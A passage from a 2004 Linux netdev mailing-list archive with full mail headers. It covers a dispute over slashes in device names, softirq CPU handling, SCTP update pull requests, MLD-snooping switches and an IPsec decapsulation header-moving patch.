<20040213203448.GB14048@kroah.com> References: <20040213102755.27cf4fcd.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040213102755.27cf4fcd.shemminger@osdl.org> User-Agent: Mutt/1.4.1i X-archive-position: 3281 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greg@kroah.com Precedence: bulk X-list: netdev On Fri, Feb 13, 2004 at 10:27:55AM -0800, Stephen Hemminger wrote: > > > [0 tv@tao /sys/class/misc]$ uname -a > > Linux tao 2.6.2-rc2 #6 Mon Jan 26 10:54:50 EET 2004 i686 GNU/Linux > > [0 tv@tao /sys/class/misc]$ echo * > > intermezzo net/tun psaux rtc uinput > > [0 tv@tao /sys/class/misc]$ > > > > Seems like that's all because of this: > > > > static struct miscdevice tun_miscdev = { > > .minor = TUN_MINOR, > > .name = "net/tun", > > .fops = &tun_fops > > }; > > > > Name is apparently meant to be a filename, not a path. > > Don't know what should be done to it; maybe > > > > static struct miscdevice tun_miscdev = { > > .minor = TUN_MINOR, > > .name = "tun", > > .fops = &tun_fops, > > .devfs_name = "misc/net/tun", > > }; > > > > But I havent tried that out. > > > > I'd suggest this, to flush out all the problems. Later, > > it can be changed to return -EINVAL or BUG_ON. > > > > --- 1.26/drivers/char/misc.c Thu Jan 15 13:05:56 2004 > > +++ edited/misc.c Fri Feb 13 19:35:45 2004 > > @@ -212,6 +212,9 @@ > > int misc_register(struct miscdevice * misc) > > { > > struct miscdevice *c; > > + > > + if (misc->name && strchr(misc->name, '/')) > > + printk("%s: name contains slash when registering %s.\n", __func__, misc->name); > > > > down(&misc_sem); > > list_for_each_entry(c, &misc_list, list) { > > > Don't fix it just for misc_register, the fix needs to go into class_device. No, the "fix" is to just not do this in the driver. I'm not going to apply this patch, sorry. thanks, greg k-h From shemminger@osdl.org Fri Feb 13 12:46:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 12:46:12 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DKk6KO026458 for ; Fri, 13 Feb 2004 12:46:07 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1DKjuE24182; Fri, 13 Feb 2004 12:45:56 -0800 Date: Fri, 13 Feb 2004 12:45:55 -0800 From: Stephen Hemminger To: Greg KH Cc: Tommi Virtanen , Leann Ogasawara , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] don't allow / in class device names Message-Id: <20040213124555.00cbf3d7@dell_ss3.pdx.osdl.net> In-Reply-To: <20040213203448.GB14048@kroah.com> References: <20040213102755.27cf4fcd.shemminger@osdl.org> <20040213203448.GB14048@kroah.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3282 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev > No, the "fix" is to just not do this in the driver. I'm not going to > apply this patch, sorry. > > thanks, > > greg k-h Bah, kernel API's should check there arguments. One of my peeve's about sysfs is that it is far too lazy about checking it's inputs. Especially, when the restrictions are not well documented, the code needs to validate. From greg@kroah.com Fri Feb 13 12:59:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 13:00:00 -0800 (PST) Received: from perch.kroah.org (mail.kroah.org [65.200.24.183]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DKxsKO026972 for ; Fri, 13 Feb 2004 12:59:55 -0800 Received: from [192.168.0.10] (c-67-171-168-97.client.comcast.net [67.171.168.97]) (authenticated) by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i1DKwuU01356; Fri, 13 Feb 2004 12:58:56 -0800 Received: from greg by echidna.kroah.org with local (masqmail 0.2.19) id 1ArkPQ-3ss-00; Fri, 13 Feb 2004 12:59:36 -0800 Date: Fri, 13 Feb 2004 12:59:36 -0800 From: Greg KH To: Stephen Hemminger Cc: Tommi Virtanen , Leann Ogasawara , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] don't allow / in class device names Message-ID: <20040213205936.GE14048@kroah.com> References: <20040213102755.27cf4fcd.shemminger@osdl.org> <20040213203448.GB14048@kroah.com> <20040213124555.00cbf3d7@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040213124555.00cbf3d7@dell_ss3.pdx.osdl.net> User-Agent: Mutt/1.4.1i X-archive-position: 3284 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greg@kroah.com Precedence: bulk X-list: netdev On Fri, Feb 13, 2004 at 12:45:55PM -0800, Stephen Hemminger wrote: > > No, the "fix" is to just not do this in the driver. I'm not going to > > apply this patch, sorry. > > > > thanks, > > > > greg k-h > > Bah, kernel API's should check there arguments. One of my peeve's about sysfs is > that it is far too lazy about checking it's inputs. Especially, when the restrictions > are not well documented, the code needs to validate. But isn't a '/' character a valid character for a file or directory name? :) Yeah, it's pathalogical, but why burden the core from something that is instantly obvious to the developer as a "wrong" thing to do? It's much easier to see, "Oh, my driver created a stupid directory name because of the string I told it to use", than "why in the world is the driver core rejecting my register call when I _know_ it's a correct structure". thanks, greg k-h From greg@kroah.com Fri Feb 13 12:59:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 12:59:59 -0800 (PST) Received: from perch.kroah.org (mail.kroah.org [65.200.24.183]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DKxrKO026967 for ; Fri, 13 Feb 2004 12:59:53 -0800 Received: from [192.168.0.10] (c-67-171-168-97.client.comcast.net [67.171.168.97]) (authenticated) by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i1DKwsU01248; Fri, 13 Feb 2004 12:58:54 -0800 Received: from greg by echidna.kroah.org with local (masqmail 0.2.19) id 1Ark4y-3p0-00; Fri, 13 Feb 2004 12:38:28 -0800 Date: Fri, 13 Feb 2004 12:38:28 -0800 From: Greg KH To: Stephen Hemminger Cc: Tommi Virtanen , Leann Ogasawara , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] propogate errors from misc_register to caller Message-ID: <20040213203827.GC14048@kroah.com> References: <20040213102755.27cf4fcd.shemminger@osdl.org> <20040213112100.4f42abc2@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040213112100.4f42abc2@dell_ss3.pdx.osdl.net> User-Agent: Mutt/1.4.1i X-archive-position: 3283 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greg@kroah.com Precedence: bulk X-list: netdev On Fri, Feb 13, 2004 at 11:21:00AM -0800, Stephen Hemminger wrote: > The patch to check for / in class_device is not enough. > The misc_register function needs to check return value of the things it calls! Thanks, I'll go add this to my queue. greg k-h From niv@us.ibm.com Fri Feb 13 13:34:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 13:34:32 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DLYSKO028359 for ; Fri, 13 Feb 2004 13:34:29 -0800 Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.193.33]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1DLYK0U429168; Fri, 13 Feb 2004 16:34:20 -0500 Received: from us.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay05.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1DLYJ1m073864; Fri, 13 Feb 2004 14:34:20 -0700 Message-ID: <402D424A.5060901@us.ibm.com> Date: Fri, 13 Feb 2004 13:31:54 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cheng Jin CC: satya srikanth , "Xiaoliang (David) Wei" , "netdev@oss.sgi.com" Subject: Re: gigabit ethernet References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3285 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Cheng Jin wrote: > > I read somewhere that Intel SMP has cpu0 taking care of > all the hardware interrupts, but I don't know about softirqs. > I think all softirqs related to the GbE are handled by the > same cpu. For incoming network packets, the hw interrupt handler simply schedules a local softirq to handle the rest of the input processing. So the softirq will execute on the same CPU that the hw interrupt came in on. thanks, Nivedita From garzik@gtf.org Fri Feb 13 14:49:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 14:49:55 -0800 (PST) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DMnZKO029771 for ; Fri, 13 Feb 2004 14:49:36 -0800 Received: by havoc.gtf.org (Postfix, from userid 500) id 42B58669D; Fri, 13 Feb 2004 17:11:09 -0500 (EST) Date: Fri, 13 Feb 2004 17:11:09 -0500 From: Jeff Garzik To: Nivedita Singhvi Cc: Cheng Jin , satya srikanth , "Xiaoliang (David) Wei" , "netdev@oss.sgi.com" Subject: Re: gigabit ethernet Message-ID: <20040213221108.GA16586@gtf.org> References: <402D424A.5060901@us.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <402D424A.5060901@us.ibm.com> User-Agent: Mutt/1.3.28i X-archive-position: 3286 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev On Fri, Feb 13, 2004 at 01:31:54PM -0800, Nivedita Singhvi wrote: > Cheng Jin wrote: > > > >I read somewhere that Intel SMP has cpu0 taking care of > >all the hardware interrupts, but I don't know about softirqs. > >I think all softirqs related to the GbE are handled by the > >same cpu. > > For incoming network packets, the hw interrupt handler simply > schedules a local softirq to handle the rest of the input > processing. So the softirq will execute on the same > CPU that the hw interrupt came in on. Many answers ;-) 1) Starting with Pentium4, all interrupts are delivered to cpu0... unless software directs otherwise. Thus it is helpful to have a software irq balancing solution. Red Hat has a userspace irqbalanced, and kernel 2.6.x also has kirqd on x86. 2) For networking, receiving all packets on one cpu has many benefits, and avoids packet reordering problems that occasionally appear on SMP. 3) For NAPI drivers, regardless of interrupt balancing strategy, packets are usually receiving on one cpu. From sri@us.ibm.com Fri Feb 13 16:07:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 16:07:34 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1E07TKO011439 for ; Fri, 13 Feb 2004 16:07:29 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i1E077dw448924; Fri, 13 Feb 2004 19:07:07 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1E076OY129532; Fri, 13 Feb 2004 19:07:06 -0500 Date: Fri, 13 Feb 2004 16:07:05 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: [BK PATCH] 2.6 SCTP updates Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3287 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Hi Dave, Please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work to get the following fixes to SCTP on top of linux 2.6.2. # This patch includes the following deltas: # ChangeSet 1.1551 -> 1.1554 # net/sctp/ssnmap.c 1.2 -> 1.3 # net/sctp/socket.c 1.105 -> 1.107 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/12 sri@us.ibm.com 1.1552 # [SCTP] Use __get_free_pages() to allocate ssnmap. # # This is needed to avoid kmalloc()'s 128K limit when an association is # initialized with a large no. of streams(more than 65000 inbound + # outbound streams). # -------------------------------------------- # 04/02/12 sri@us.ibm.com 1.1553 # [SCTP] Fix SCTP_INITMSG set socket option so that a parameter with 0 # value will not change its current value. # -------------------------------------------- # 04/02/13 sri@us.ibm.com 1.1554 # [SCTP] Fix sctp_getladdrs()/sctp_getpaddrs() API so that the port # value in the returned addresses is in network byte order. # -------------------------------------------- Thanks Sridhar From sri@us.ibm.com Fri Feb 13 16:07:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 16:07:47 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1E07hKO011457 for ; Fri, 13 Feb 2004 16:07:43 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1E07VOH316864; Fri, 13 Feb 2004 19:07:31 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1E07Ug9197702; Fri, 13 Feb 2004 17:07:30 -0700 Date: Fri, 13 Feb 2004 16:07:29 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: [BK PATCH] 2.4 SCTP updates Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3288 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Hi Dave, Please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.4.work to get the following udpates to SCTP on top fo linux 2.4.25-rc2 These set of csets bring 2.4 in sync with 2.6 lksctp. I tried to keep 2.4 specific changes isolated to the following few files using #defines in compat.h. - include/net/sctp/compat.h - include/net/sctp/sctp.h - include/net/sctp/structs.h - net/sctp/Config.in - net/sctp/Makefile - net/sctp/endpointola.c - net/sctp/input.c - net/sctp/inqueue.c - net/sctp/ipv6.c - net/sctp/objcnt.c - net/sctp/proc.c - net/sctp/protocol.c - net/sctp/socket.c - net/sctp/sysctl.c - net/sctp/ulpqueue.c - net/sctp/chunk.c The rest of the files are identical to 2.6 sctp files. I could not find an easy way to do the backport of choice construct to select HMAC algorithm in 2.6 Kconfig to 2.4 Config.in. I did it in a convoluted way with multiple choices nested in ifs. It may be possible to do the same in a much simpler way. # This patch includes the following deltas: # ChangeSet 1.1308 -> 1.1312 # net/sctp/ulpqueue.c 1.1 -> 1.2 # include/net/sctp/compat.h 1.2 -> 1.3 # include/linux/sysctl.h 1.40 -> 1.41 # include/net/sctp/constants.h 1.1 -> 1.2 # net/sctp/sm_make_chunk.c 1.1 -> 1.2 # net/sctp/tsnmap.c 1.1 -> 1.2 # net/sctp/primitive.c 1.1 -> 1.2 # net/sctp/sysctl.c 1.1 -> 1.2 # net/sctp/proc.c 1.1 -> 1.2 # net/sctp/socket.c 1.2 -> 1.5 # include/net/sctp/sla1.h 1.1 -> (deleted) # net/sctp/outqueue.c 1.2 -> 1.3 # include/net/sctp/sctp.h 1.3 -> 1.4 # include/net/sctp/sm.h 1.1 -> 1.2 # net/sctp/objcnt.c 1.1 -> 1.2 # net/sctp/Makefile 1.1 -> 1.2 # net/sctp/associola.c 1.2 -> 1.3 # net/sctp/inqueue.c 1.1 -> 1.2 # net/sctp/debug.c 1.1 -> 1.2 # include/net/sctp/user.h 1.1 -> 1.2 # net/sctp/sm_statefuns.c 1.1 -> 1.2 # net/sctp/output.c 1.1 -> 1.2 # net/sctp/sla1.c 1.1 -> (deleted) # net/sctp/ipv6.c 1.1 -> 1.2 # net/sctp/transport.c 1.2 -> 1.3 # net/sctp/protocol.c 1.1 -> 1.2 # include/linux/sctp.h 1.1 -> 1.2 # net/sctp/bind_addr.c 1.1 -> 1.2 # MAINTAINERS 1.125 -> 1.126 # net/sctp/sm_sideeffect.c 1.1 -> 1.2 # net/sctp/sm_statetable.c 1.1 -> 1.2 # net/sctp/input.c 1.1 -> 1.2 # net/sctp/ulpevent.c 1.1 -> 1.2 # include/net/sctp/structs.h 1.2 -> 1.3 # net/sctp/adler32.c 1.1 -> (deleted) # include/net/sctp/tsnmap.h 1.1 -> 1.2 # net/sctp/Config.in 1.1 -> 1.2 # include/net/sctp/command.h 1.1 -> 1.2 # net/sctp/ssnmap.c 1.1 -> 1.2 # net/sctp/hashdriver.c 1.1 -> (deleted) # Documentation/Configure.help 1.227 -> 1.228 # include/net/sctp/ulpevent.h 1.1 -> 1.2 # net/sctp/endpointola.c 1.1 -> 1.2 # (new) -> 1.1 net/sctp/chunk.c # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/12 sri@us.ibm.com 1.1309 # [SCTP] Sync with 2.6.2 SCTP. # -------------------------------------------- # 04/02/12 sri@us.ibm.com 1.1310 # [SCTP] Use __get_free_pages() to allocate ssnmap. # # This is needed to avoid kmalloc()'s 128K limit when an association is # initialized with a large no. of streams(more than 65000 inbound + # outbound streams). # -------------------------------------------- # 04/02/12 sri@us.ibm.com 1.1311 # [SCTP] Fix SCTP_INITMSG set socket option so that a parameter with 0 # value will not change its current value. # -------------------------------------------- # 04/02/13 sri@us.ibm.com 1.1312 # [SCTP] Fix sctp_getladdrs()/sctp_getpaddrs() API so that the port # value in the returned addresses is in network byte order. # -------------------------------------------- # Thanks Sridhar From yoshfuji@linux-ipv6.org Fri Feb 13 16:14:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 16:14:19 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1E0E9KO012228 for ; Fri, 13 Feb 2004 16:14:10 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id D9A8D33CA5; Sat, 14 Feb 2004 09:15:09 +0900 (JST) Date: Sat, 14 Feb 2004 09:15:09 +0900 (JST) Message-Id: <20040214.091509.116858471.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: hibi665@oki.com, davem@redhat.com, netdev@oss.sgi.com Subject: Re: sysctl variable to force IGMP version [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040213135020.fd1564f%hibi665@oki.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3289 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Fri, 13 Feb 2004 10:31:54 -0800), David Stevens says: > I'm not aware of any switches that do MLD snooping. There ARE: e.g. CentreCOM 9800 series (Allied-telesis) GS4000 (Hitachi) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From herbert@gondor.apana.org.au Fri Feb 13 19:56:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 19:56:30 -0800 (PST) Received: from arnor.me.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1E3uNKO019211 for ; Fri, 13 Feb 2004 19:56:25 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.me.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1Arqu3-0001wE-00; Sat, 14 Feb 2004 14:55:39 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1Arqty-0006lL-00; Sat, 14 Feb 2004 14:55:34 +1100 Date: Sat, 14 Feb 2004 14:55:34 +1100 To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, jmorris@redhat.com, netdev@oss.sgi.com Subject: Re: [IPSEC] Move hardware headers for decaped packets Message-ID: <20040214035534.GA25965@gondor.apana.org.au> References: <20030925121131.GA17968@gondor.apana.org.au> <200309251228.QAA11650@yakov.inr.ac.ru> <20030925124102.GA18188@gondor.apana.org.au> <20031207090205.GA2358@gondor.apana.org.au> <20031207014714.03e79cd2.davem@redhat.com> <20031207095527.GA2767@gondor.apana.org.au> <20031207165516.1edfde10.davem@redhat.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="VS++wcV0S1rZb1Fb" Content-Disposition: inline In-Reply-To: <20031207165516.1edfde10.davem@redhat.com> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 3290 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sun, Dec 07, 2003 at 04:55:16PM -0800, David S. Miller wrote: > > Ok, we can make it a receive only thing at first, I guess. > > But I think this will definitely need to be deferred to > 2.6.1 at least, along with that XFRM device unload fix you > sent me the other week. Looks like I've forgotten about this mac moving patch. Here it is again. Just to recap, this moves the hardware header so that it appears next to the payload for AF_PACKET sockets. Cheers, -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p Index: include/linux/skbuff.h =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/include/linux/skbuff.h,v retrieving revision 1.1.1.8 retrieving revision 1.6 diff -u -r1.1.1.8 -r1.6 --- include/linux/skbuff.h 9 Aug 2003 08:12:03 -0000 1.1.1.8 +++ include/linux/skbuff.h 13 Sep 2003 00:11:55 -0000 1.6 @@ -159,6 +161,7 @@ * @cb: Control buffer. Free for use by every layer. Put private vars here * @len: Length of actual data * @data_len: Data length + * @mac_len: Length of link layer header * @csum: Checksum * @__unused: Dead field, may be reused * @cloned: Head may be cloned (check refcnt to be sure) @@ -199,6 +202,7 @@ struct icmphdr *icmph; struct igmphdr *igmph; struct iphdr *ipiph; + struct ipv6hdr *ipv6h; unsigned char *raw; } h; @@ -227,6 +231,7 @@ unsigned int len, data_len, + mac_len, csum; unsigned char local_df, cloned, Index: net/core/dev.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/net/core/dev.c,v retrieving revision 1.1.1.17 retrieving revision 1.2 diff -u -r1.1.1.17 -r1.2 --- net/core/dev.c 22 Aug 2003 23:56:14 -0000 1.1.1.17 +++ net/core/dev.c 13 Sep 2003 00:11:55 -0000 1.2 @@ -1547,6 +1547,7 @@ #endif skb->h.raw = skb->nh.raw = skb->data; + skb->mac_len = skb->nh.raw - skb->mac.raw; pt_prev = NULL; rcu_read_lock(); Index: net/ipv4/xfrm4_input.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/net/ipv4/xfrm4_input.c,v retrieving revision 1.1.1.6 retrieving revision 1.9 diff -u -r1.1.1.6 -r1.9 --- net/ipv4/xfrm4_input.c 22 Aug 2003 23:52:18 -0000 1.1.1.6 +++ net/ipv4/xfrm4_input.c 13 Sep 2003 00:11:55 -0000 1.9 @@ -9,6 +9,7 @@ * */ +#include #include #include #include @@ -18,9 +19,10 @@ return xfrm4_rcv_encap(skb, 0); } -static inline void ipip_ecn_decapsulate(struct iphdr *outer_iph, struct sk_buff *skb) +static inline void ipip_ecn_decapsulate(struct sk_buff *skb) { - struct iphdr *inner_iph = skb->nh.iph; + struct iphdr *outer_iph = skb->nh.iph; + struct iphdr *inner_iph = skb->h.ipiph; if (INET_ECN_is_ce(outer_iph->tos) && INET_ECN_is_not_ce(inner_iph->tos)) @@ -95,10 +97,16 @@ if (x->props.mode) { if (iph->protocol != IPPROTO_IPIP) goto drop; - skb->nh.raw = skb->data; + if (!pskb_may_pull(skb, sizeof(struct iphdr))) + goto drop; + if (skb_cloned(skb) && + pskb_expand_head(skb, 0, 0, GFP_ATOMIC)) + goto drop; if (!(x->props.flags & XFRM_STATE_NOECN)) - ipip_ecn_decapsulate(iph, skb); - iph = skb->nh.iph; + ipip_ecn_decapsulate(skb); + skb->mac.raw = memmove(skb->data - skb->mac_len, + skb->mac.raw, skb->mac_len); + skb->nh.raw = skb->data; memset(&(IPCB(skb)->opt), 0, sizeof(struct ip_options)); decaps = 1; break; Index: net/ipv6/xfrm6_input.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/net/ipv6/xfrm6_input.c,v retrieving revision 1.1.1.7 retrieving revision 1.8 diff -u -r1.1.1.7 -r1.8 --- net/ipv6/xfrm6_input.c 9 Aug 2003 08:12:04 -0000 1.1.1.7 +++ net/ipv6/xfrm6_input.c 13 Sep 2003 00:11:55 -0000 1.8 @@ -9,17 +9,20 @@ * IPv6 support */ +#include #include #include #include #include -static inline void ipip6_ecn_decapsulate(struct ipv6hdr *iph, - struct sk_buff *skb) +static inline void ipip6_ecn_decapsulate(struct sk_buff *skb) { - if (INET_ECN_is_ce(ip6_get_dsfield(iph)) && - INET_ECN_is_not_ce(ip6_get_dsfield(skb->nh.ipv6h))) - IP6_ECN_set_ce(skb->nh.ipv6h); + struct ipv6hdr *outer_iph = skb->nh.ipv6h; + struct ipv6hdr *inner_iph = skb->h.ipv6h; + + if (INET_ECN_is_ce(ip6_get_dsfield(outer_iph)) && + INET_ECN_is_not_ce(ip6_get_dsfield(inner_iph))) + IP6_ECN_set_ce(inner_iph); } int xfrm6_rcv(struct sk_buff **pskb, unsigned int *nhoffp) @@ -77,10 +80,16 @@ if (x->props.mode) { /* XXX */ if (nexthdr != IPPROTO_IPV6) goto drop; - skb->nh.raw = skb->data; + if (!pskb_may_pull(skb, sizeof(struct ipv6hdr))) + goto drop; + if (skb_cloned(skb) && + pskb_expand_head(skb, 0, 0, GFP_ATOMIC)) + goto drop; if (!(x->props.flags & XFRM_STATE_NOECN)) - ipip6_ecn_decapsulate(iph, skb); - iph = skb->nh.ipv6h; + ipip6_ecn_decapsulate(skb); + skb->mac.raw = memmove(skb->data - skb->mac_len, + skb->mac.raw, skb->mac_len); + skb->nh.raw = skb->data; decaps = 1; break; } --VS++wcV0S1rZb1Fb-- From davem@redhat.com Fri Feb 13 21:36:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 21:36:19 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1E5aEKO023326 for ; Fri, 13 Feb 2004 21:36:15 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1E5a7b25448; Sat, 14 Feb 2004 00:36:08 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1E5a7i31528; Sat, 14 Feb 2004 00:36:07 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1E5a5kC005289; Sat, 14 Feb 